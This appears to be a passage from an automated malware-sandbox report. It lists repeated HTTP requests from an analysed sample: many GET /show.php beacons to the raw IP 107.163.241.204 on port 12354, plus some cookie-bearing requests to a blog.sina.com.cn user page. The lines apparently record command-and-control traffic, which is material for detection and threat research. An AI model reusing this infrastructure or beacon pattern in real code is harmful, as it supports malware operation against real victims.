Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
